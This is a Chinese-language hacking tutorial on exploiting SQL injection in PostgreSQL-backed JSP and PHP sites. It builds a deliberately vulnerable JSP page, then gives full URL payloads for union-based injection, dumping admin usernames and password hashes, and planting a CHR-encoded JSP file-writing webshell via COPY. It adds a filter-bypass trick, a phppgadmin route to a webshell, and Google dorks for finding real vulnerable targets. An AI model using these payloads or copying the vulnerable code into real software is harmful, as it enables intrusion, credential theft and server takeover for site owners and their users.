postgresql简单介绍
PostgreSQL是一种特性非常齐全的自由软件的对象-关系型数据库管理系统,可以说是目前世界上最先进,功能最强大的自由数据库管理系统。 PostgreSQL是以加州大学伯克利分校计算机系开发的 POSTGRES,版本 4.2为基础的对象关系型数据库管理系统(ORDBMS)。 POSTGRES 领先的许多概念只是在非常迟的时候才出现在商业数据库中。它的功能绝对不亚于其他商业型的数据库,虽然名气没有mysql响,但它们同属开源类别
现在关于postgresql的脚本攻击知识非常匮乏,下面就跟读者一起来了解下这方面的知识。希望对读者有所帮助!
php+postgresql构建存在注射的脚本环境
关于php+postgresql注入攻击前,最好是搭建个测试环境,搭建环境这里不是重点,笔者不再赘述,笔者这里搭建了windows2003+tomcat+jdk+postgresql的平台!在这里为了照顾下新手朋友,笔者简单介绍下数据库以及脚本的创建,也算是对SQL语句的温习
(1)建表语句
1 CREATE DATABASE hackdata; //创建数据库hackdatacreate table lists (id serial NOT NULL, 2 --团队id,这里注意的是serial在postgresql中代表自增team_name varchar(30),--团队名字team_site varchar(50) NOT NULL,--团队名称description varchar(300) NOT NULL, --团队简介PRIMARY KEY ( id ) );insert into lists values(1,'80sec','www.80sec.com','一个新的致力于web安全研究的小团体. ');-- 3 create table admins 4 (aid serial NOT NULL ,name CHAR( 10 ) NOT NULL ,--用户名password TEXT NOT NULL ,--用户密码,用MD5加密PRIMARY KEY (aid) ); 5 // 插入一条记录到admin表 6 INSERT INTO admins (aid,name,password) VALUES (1 , 'blackeagle',MD5('blackeagle' ));--账号密码均为blackeagle
关于postgresql数据库的建表语句和其他SQL语句可能和其他有所不同,希望大家注意,下面我们可以通过一个union语句查看下是否成功,可以看出已经成功执行。如图1
(2)创建存在注入漏洞的jsp脚本injection.jsp
<%@ page language="java" contentType="text/html;charset=gbk" import="java.io.*" import="java.util.*" import="java.sql.*"%> <html> <head> <title>dbjsp.jsp</title> </head> <body> <% Class.forName("org.postgresql.Driver").newInstance(); String url="jdbc:postgresql://localhost/hackdata"; String user="hack"; String password="hack"; Connection conn=DriverManager.getConnection(url,user,password); Statement stmt=conn.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE,ResultSet.CONCUR_UPDATABLE); String id = request.getParameter("id");/**关键是这句,没有用PreparedStatement,就构造了我们的注入点**/ String sql="select * from lists where id="+id; ResultSet rs=stmt.executeQuery(sql); while(rs.next()){ %> <p align="center">Welcome to here !Script Boy!</p> <table width="50%" border="1" cellpadding="0" cellspacing="0" > <tr> <td width=100>ID:<%=rs.getString(1)%> </td> <td width=659>Name:<%=rs.getString(2)%> </td> </tr> <tr><td colspan=2>Description:<%=rs.getString(4)%> </td> </tr> <tr> <td>Site: </td> <td><%=rs.getString(3)%></td> </tr></table> <% } %><%rs.close();stmt.close();conn.close();%> </body></html>
大家掌握了之后,可以应用在mysql 以及oracle等其他环境的搭建
jsp+postgresql注入常见手法
在学习这块内容时,确保你已经对php类型的注入已经有所了解,那么就开始我们的开心之旅吧!对于数字型注入点的审查,我们可以通过and 1=1,and 1=2这种,刚才我们建立的脚本我们测试下。
http://192.168.0.7:81/PgsqlInjection/injection.jsp?id=1 and 1=1的显示如图2
知道了注入点的存在,那么我们就要判断数据库的类型,如何判断呢?
我们来看几种方法:
首先我们想到的是,如果数据库和WEB不分离的话,那么通过服务器是否开放5432端口来判断,但是服务器如果存有防火墙,就只能从web方面入手
其次,我们知道在Oracle数据中有一个默认的dual数据表,postgresql和它类似,我们可以通过使用查询语句如select * from pg_class/select * from pg_group的返回结果来判断数据库类型,笔者这里没有试验
第三种:通过在注入点后加AND 1::int=1,它的意思是让1为int型数据,然后和数字1作比较,还是比较灵的。如图4
图4
第四种:对于php+postgresql的数据库可以根据是否出现pg_query(): Query failed这种特征函数错误码来判断。
其他判断为postgresql类型数据库的方法还有后面提到的读取version数据!
那么跟着思路继续往下走,通常mysql和oracle注入的时候,都是通过order by查询出当前页面访问数据表的字段,然后进行union查询,postgresql是一样!(还要注意注释符的使用,笔者感觉“--”是最有效的了)有 了字段数,就可以通过union联合查询,这里的union查询和oracle注入是一样的,我们来简单看下。
笔者首先访问
http://192.168.0.7:81/PgsqlInjec ... ion%20select%20null,null,null,null-- 为什么是查询的null呢,这是为了匹配所有字段,需要和mysql区别!如图5
然后我们继续把字符型字段区分出来,实在匹配不了的话,就用null代替。
首先我们先把第一个字段加引号
http://192.168.0.7:81/PgsqlInjec ... 20union%20select%20 ‘1’,null,null,null—
如果页面正常,说明第一个字段为字符型,异常的话我们就用数字或null来代替
经测试,访问上述链接异常,那么改为数字就正常了,然后访问
http://192.168.0.7:81/PgsqlInjec ... 20union%20select%20 1,’2’,null,null—-判断第2个字段的类型
依此类推,我们得到
http://192.168.0.7:81/PgsqlInjec ... 20union%20select%20 1,’2’,’3’,’4’
就完全将我们的字段判断正确了,笔者将’2’这个地方替换为”version()”返回了postgresql的版本号,如图6
关于获取系统的信息的一些函数,笔者列为下表:
名字 返回类型 描述
current_database() name 当前数据库的名字
current_schema() name 当前模式的名字
current_schemas(boolean) name[] 在搜索路径中的模式名字
current_user name 目前执行环境下的用户名
inet_client_addr() inet 连接的远端址
inet_client_port() int 连接的远端端口
inet_server_addr() inet 连接的本地地址
inet_server_port() int 连接的本地端口
session_user name 会话用户名
pg_postmaster_start_time() timestamp with time zone postmaster 启动的时间
user name 等于 current_user
version() text PostgreSQL 版本信息
爆账户密码
上述已经为我们获取了部分信息,下面我们来看如何获取管理员的一些账号密码,这里可能和mysql5.x的爆库思路有所相同。
我们可以构造如下语句,如图7
http://192.168.0.7:81/PgsqlInjection/injection.jsp?id=1 and 1=2 union select 1,table_name,'3','4' from information_schema.tables offset 1 limit 1--
图7
其中offset x limit y类似于mysql中的limit x,y函数,这里可以逐渐递增x的值来获取更多表的信息
http://192.168.0.7:81/PgsqlInjection/injection.jsp?id=1 and 1=2 union select 1,table_name,'3','4' from information_schema.tables offset 2 limit 1—………http://192.168.0.7:81/PgsqlInjection/injection.jsp?id=1 and 1=2 union select 1,table_name,'3','4' from information_schema.tables offset N limit 1—
这里我们获取了管理员表为admins,那么我们再来学习如何爆取敏感字段。如图8
http://192.168.0.7:81/PgsqlInjection/injection.jsp?id=1 and 1=2 union select 1,column_name,'3','4' from information_schema.columns where table_name='admins' offset 1 limit 1--
图8
可以看到我们爆出了一个字段为name,那我们继续递增offset的值,来获取其他字段,如图9
http://192.168.0.7:81/PgsqlInjection/injection.jsp?id=1 and 1=2 union select 1,column_name,'3','4' from information_schema.columns where table_name='admins' offset 2 limit 1--
图9
字段passowrd已经出来,猜解就很简单了,如图10
图10
如果有的md5密码猜解不出来,可以继续通过offset x limit y函数爆其他管理的账号密码,笔者就不在演示了。
http://192.168.0.7:81/PgsqlInjection/injection.jsp?id=1 and 1=2 union select '1',name,password,null from admins offset 0 limit 1http://192.168.0.7:81/PgsqlInjection/injection.jsp?id=1 and 1=2 union select '1',name,password,null from admins offset 1 limit 1……….http://192.168.0.7:81/PgsqlInjection/injection.jsp?id=1 and 1=2 union select '1',name,password,null from admins offset N limit 1
有了账号密码,至于登陆后台之事笔者不再赘述。
如何快速获取webshell
这点和mysql中的select into file很类似,但是注意的是这里是需要权限的,postgresql有一个默认的账户,类似于mysql中的root权限,像这种超级用户可以使用 copy命令,其他用户均无法使用!笔者在上述的脚本中连接postgresql用的是hack账户这是一个普通的用户,我们来看看会不会成功!
首先我们看下postgresql中获取webshell的几段代码,使用条件是已知web路径,并且用户权限为超级用户。
如何获得webshell http://192.168.0.7:81/PgsqlInjection/injection.jsp?id=1;create table fuck(shit text not null); http://192.168.0.7:81/PgsqlInjection/injection.jsp?id=1;insert into fuck values('您的木马'); /PgsqlInjection/injection.jsp?id=1;copy fuck(shit) to ’路径/webshell.jsp’;
这里假设我已经知道了网站路径为“C:\Program Files\Apache Software Foundation\Tomcat 6.0\webapps\PgsqlInjection”
首先执行create table fuck(shit text not null),注意看这里返回了500错误,很多朋友在注入的时候碰到这里就退却了,其实500错误,往往是数据建立成功的表现,如图11
图11
为什么这么说呢?假如我再重新执行一次上述语句,错误信息会提示我relation 已经存在,很显然我们建立成功了。如图12
图12
然后我们插入jsp的一句话马,假如我们像这样插入的话
http://192.168.0.7:81/PgsqlInjection/injection.jsp?id=1;insert into fuck values (<%
if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\\")+request.getParameter("f"))).write(request.getParameter("t").getBytes());
%>)
通常数据库不会插入成功的,那么我们换种方法,通过chr()函数来插入,我们将上述JSP一句话马进行转换,插入数据。
http://192.168.0.7:81/PgsqlInjection/injection.jsp?id=1;insert into fuck values(CHR(60)||CHR(37)||CHR(32)||CHR(105)||CHR(102)||CHR(40)||CHR(114)||CHR(101)||CHR(113)||CHR(117)||CHR(101)||CHR(115)||CHR(116)||CHR(46)||CHR(103)||CHR(101)||CHR(116)||CHR(80)||CHR(97)||CHR(114)||CHR(97)||CHR(109)||CHR(101)||CHR(116)||CHR(101)||CHR(114)||CHR(40)||CHR(34)||CHR(102)||CHR(34)||CHR(41)||CHR(33)||CHR(61)||CHR(110)||CHR(117)||CHR(108)||CHR(108)||CHR(41)||CHR(40)||CHR(110)||CHR(101)||CHR(119)||CHR(32)||CHR(106)||CHR(97)||CHR(118)||CHR(97)||CHR(46)||CHR(105)||CHR(111)||CHR(46)||CHR(70)||CHR(105)||CHR(108)||CHR(101)||CHR(79)||CHR(117)||CHR(116)||CHR(112)||CHR(117)||CHR(116)||CHR(83)||CHR(116)||CHR(114)||CHR(101)||CHR(97)||CHR(109)||CHR(40)||CHR(97)||CHR(112)||CHR(112)||CHR(108)||CHR(105)||CHR(99)||CHR(97)||CHR(116)||CHR(105)||CHR(111)||CHR(110)||CHR(46)||CHR(103)||CHR(101)||CHR(116)||CHR(82)||CHR(101)||CHR(97)||CHR(108)||CHR(80)||CHR(97)||CHR(116)||CHR(104)||CHR(40)||CHR(34)||CHR(92)||CHR(92)||CHR(34)||CHR(41)||CHR(43)||CHR(114)||CHR(101)||CHR(113)||CHR(117)||CHR(101)||CHR(115)||CHR(116)||CHR(46)||CHR(103)||CHR(101)||CHR(116)||CHR(80)||CHR(97)||CHR(114)||CHR(97)||CHR(109)||CHR(101)||CHR(116)||CHR(101)||CHR(114)||CHR(40)||CHR(34)||CHR(102)||CHR(34)||CHR(41)||CHR(41)||CHR(41)||CHR(46)||CHR(119)||CHR(114)||CHR(105)||CHR(116)||CHR(101)||CHR(40)||CHR(114)||CHR(101)||CHR(113)||CHR(117)||CHR(101)||CHR(115)||CHR(116)||CHR(46)||CHR(103)||CHR(101)||CHR(116)||CHR(80)||CHR(97)||CHR(114)||CHR(97)||CHR(109)||CHR(101)||CHR(116)||CHR(101)||CHR(114)||CHR(40)||CHR(34)||CHR(116)||CHR(34)||CHR(41)||CHR(46)||CHR(103)||CHR(101)||CHR(116)||CHR(66)||CHR(121)||CHR(116)||CHR(101)||CHR(115)||CHR(40)||CHR(41)||CHR(41)||CHR(59)||CHR(32)||CHR(37)||CHR(62)||CHR(32));--
虽然访问上述URL的时候还会报错,但是插入成功了,下面是测试时,通过Pgadmin查看到的结果。如图13
图13
类似于php的一句话代码也可以进行这样的转换。下面我们就用copy命令来备份下shell
/injection.jsp?id=1;copy fuck(shit) to
’C:\\Program Files\\Apache Software Foundation\\Tomcat 6.0\\webapps\\PgsqlInjection\\shell.jsp’;
访问后提示这么一句错误:ERROR: must be superuser to COPY to or from a file,说明我们的权限不够,笔者在渗透测试中发现很多这样的站点,像php+postgresql注入中也经常出现这样的错误。如图14
图14
但是如果说数据库连接用户用的是超级用户,很可能这里也是无法备份成功的,因为通常在安装的时候,postgresql都会要求管理员为其建立一个用户启动的普通用户,也就是我们平常说的降权,这样对于其他web目录可能就没有写权限。这要基于一定的运气成分。对于过滤了单引号的情况(php中经常出现),那么我们可以将路径改为这种格式$$/home/wvirt/leitura.com.br/public_html/test.php$$;通常就可以绕过。
Phppgadmin
Phpmyadmin想必大家都听说过,那么phppgadmin和它类似,是postgresql的web管理程序。笔者简单介绍下它的用法。
假如我们获取了postgresql的账号密码,那么登陆后台如果获取webShell有两种思路,第一种是查看或者修改管理员密码进入网站后台获 取webshell,这里就不再讲解,第二种方式就是通过执行备份语句获取webshell。选择“模式”-“SQL码”,如图15
图15
然后执行我们上边的备份语句,有的phppgadmin放在了postgresql的安装目录下,就可以执行我们的php代码了。如图16
图16
如何查找目标站
大家多喜欢实践,往往这方面的站点还是很少,经笔者总结,利用谷歌构造关键词inurl:id=
intext:pg_query(): Query failed很容易就会寻到很多目标的,如果大家有什么不明白的可以到论坛找我